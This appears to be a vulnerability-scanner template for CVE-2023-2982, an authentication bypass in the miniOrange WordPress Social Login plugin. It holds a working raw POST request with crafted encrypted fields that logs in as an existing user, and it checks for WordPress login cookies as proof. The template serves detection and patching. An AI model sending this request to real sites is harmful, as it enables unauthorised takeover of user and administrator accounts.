id: CVE-2023-2982

info:
  name: Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.
  impact: |
    An attacker can gain unauthorized access to user accounts, potentially leading to data theft, privilege escalation, or other malicious activities.
  remediation: Fixed in version 7.6.5
  reference:
    - https://lana.codes/lanavdb/2326f41f-a39f-4fde-8627-9d29fff91443/
    - https://wordpress.org/plugins/miniorange-login-openid/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2982
    - https://plugins.trac.wordpress.org/browser/miniorange-login-openid/trunk/mo-openid-social-login-functions.php#L107
    - https://plugins.trac.wordpress.org/changeset/2924863/miniorange-login-openid
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2982
    cwe-id: CWE-288
    epss-score: 0.46242
    epss-percentile: 0.9869
    cpe: cpe:2.3:a:miniorange:wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\)
    framework: wordpress
  tags: cve,cve2023,wp,wordpress,wp-plugin,auth-bypass,miniorange,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D

    matchers-condition: and
    matchers:
      - type: word
        part: set_cookie
        words:
          - "wordpress_sec_"
          - "wordpress_logged_in_"
        condition: or

      - type: status
        status:
          - 302
# digest: 4b0a004830460221009a6ed3c375967affd6f9a81020852c30a17d33dd85556ce460f9614103d3082e022100b197a15c98406e203ca7e3eb48b2a1628ed6c55e4ddd37d700a9628ece40c687:922c64590222798bb761d5b6d8e72950